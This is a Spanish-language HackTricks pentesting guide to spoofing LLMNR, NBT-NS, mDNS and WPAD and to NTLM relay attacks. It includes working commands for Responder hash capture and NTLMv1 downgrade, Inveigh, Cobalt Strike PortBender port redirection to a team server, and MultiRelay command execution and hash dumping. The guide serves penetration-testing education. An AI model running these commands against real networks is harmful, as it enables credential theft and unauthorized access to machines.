hacktricks/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md

9.7 KiB

Suplantación de LLMNR, NBT-NS, mDNS/DNS y WPAD y Ataques de Relevo

{% hint style="success" %} Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks
{% endhint %}

Protocolos de Red

Protocolos de Resolución de Host Local

  • LLMNR, NBT-NS y mDNS:
  • Microsoft y otros sistemas operativos utilizan LLMNR y NBT-NS para la resolución de nombres locales cuando falla DNS. De manera similar, los sistemas de Apple y Linux utilizan mDNS.
  • Estos protocolos son susceptibles a la interceptación y suplantación debido a su naturaleza de difusión no autenticada sobre UDP.
  • Responder se puede utilizar para suplantar servicios enviando respuestas falsificadas a hosts que consultan estos protocolos.
  • Se puede encontrar más información sobre la suplantación de servicios utilizando Responder aquí.

Protocolo de Descubrimiento Automático de Proxy Web (WPAD)

  • WPAD permite a los navegadores descubrir la configuración de proxy automáticamente.
  • El descubrimiento se facilita a través de DHCP, DNS, o en caso de fallo de DNS, mediante LLMNR y NBT-NS.
  • Responder puede automatizar ataques de WPAD, dirigiendo a los clientes a servidores WPAD maliciosos.

Responder para Envenenamiento de Protocolos

  • Responder es una herramienta utilizada para envenenar consultas LLMNR, NBT-NS y mDNS, respondiendo selectivamente según los tipos de consulta, apuntando principalmente a servicios SMB.
  • Viene preinstalado en Kali Linux, configurable en /etc/responder/Responder.conf.
  • Responder muestra las hashes capturadas en pantalla y las guarda en el directorio /usr/share/responder/logs.
  • Es compatible con IPv4 e IPv6.
  • La versión de Windows de Responder está disponible aquí.

Ejecutando Responder

  • Para ejecutar Responder con la configuración predeterminada: responder -I <Interfaz>
  • Para un sondeo más agresivo (con posibles efectos secundarios): responder -I <Interfaz> -P -r -v
  • Técnicas para capturar desafíos/respuestas NTLMv1 para una descifrado más fácil: responder -I <Interfaz> --lm --disable-ess
  • La suplantación de WPAD se puede activar con: responder -I <Interfaz> --wpad
  • Las solicitudes de NetBIOS se pueden resolver a la IP del atacante, y se puede configurar un proxy de autenticación: responder.py -I <interfaz> -Pv

Envenenamiento DHCP con Responder

  • La suplantación de respuestas DHCP puede envenenar permanentemente la información de enrutamiento de una víctima, ofreciendo una alternativa más sigilosa al envenenamiento ARP.
  • Requiere un conocimiento preciso de la configuración de red del objetivo.
  • Para ejecutar el ataque: ./Responder.py -I eth0 -Pdv
  • Este método puede capturar eficazmente hashes NTLMv1/2, pero requiere un manejo cuidadoso para evitar interrupciones en la red.

Capturando Credenciales con Responder

  • Responder suplantará servicios utilizando los protocolos mencionados anteriormente, capturando credenciales (generalmente NTLMv2 Challenge/Response) cuando un usuario intenta autenticarse contra los servicios falsificados.
  • Se pueden realizar intentos para degradar a NetNTLMv1 o deshabilitar ESS para facilitar el descifrado de credenciales.

Es crucial tener en cuenta que el uso de estas técnicas debe realizarse de manera legal y ética, asegurando la autorización adecuada y evitando la interrupción o el acceso no autorizado.

Inveigh

Inveigh es una herramienta para pentesters y equipos de red, diseñada para sistemas Windows. Ofrece funcionalidades similares a Responder, realizando suplantaciones y ataques de intermediario. La herramienta ha evolucionado desde un script de PowerShell a un binario de C#, con Inveigh y InveighZero como las principales versiones. Se pueden encontrar parámetros detallados e instrucciones en la wiki.

Inveigh se puede operar a través de PowerShell:

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

O ejecutado como un binario de C#:

Inveigh.exe

Ataque de Relevo NTLM

Este ataque aprovecha sesiones de autenticación SMB para acceder a una máquina objetivo, otorgando un shell del sistema si tiene éxito. Los requisitos clave incluyen:

  • El usuario autenticado debe tener acceso de Administrador Local en el host de retransmisión.
  • La firma SMB debe estar deshabilitada.

Reenvío y Túneles de Puerto 445

En escenarios donde la introducción directa a la red no es factible, el tráfico en el puerto 445 debe ser reenviado y tunelizado. Herramientas como PortBender ayudan a redirigir el tráfico del puerto 445 a otro puerto, lo cual es esencial cuando se dispone de acceso de administrador local para la carga de controladores.

Configuración y operación de PortBender en Cobalt Strike:

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Otras Herramientas para Ataque de Relevo NTLM

  • Metasploit: Configurado con proxies, detalles del host local y remoto.
  • smbrelayx: Un script en Python para relé de sesiones SMB y ejecutar comandos o desplegar puertas traseras.
  • MultiRelay: Una herramienta de la suite Responder para relé de usuarios específicos o todos los usuarios, ejecutar comandos o volcar hashes.

Cada herramienta se puede configurar para operar a través de un proxy SOCKS si es necesario, permitiendo ataques incluso con acceso de red indirecto.

Operación de MultiRelay

MultiRelay se ejecuta desde el directorio /usr/share/responder/tools, apuntando a IPs o usuarios específicos.

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

Forzar Inicios de Sesión NTLM

En Windows puede ser posible forzar a algunas cuentas privilegiadas a autenticarse en máquinas arbitrarias. Lee la siguiente página para aprender cómo:

{% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %} printers-spooler-service-abuse.md {% endcontent-ref %}

Referencias

{% hint style="success" %} Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks
{% endhint %}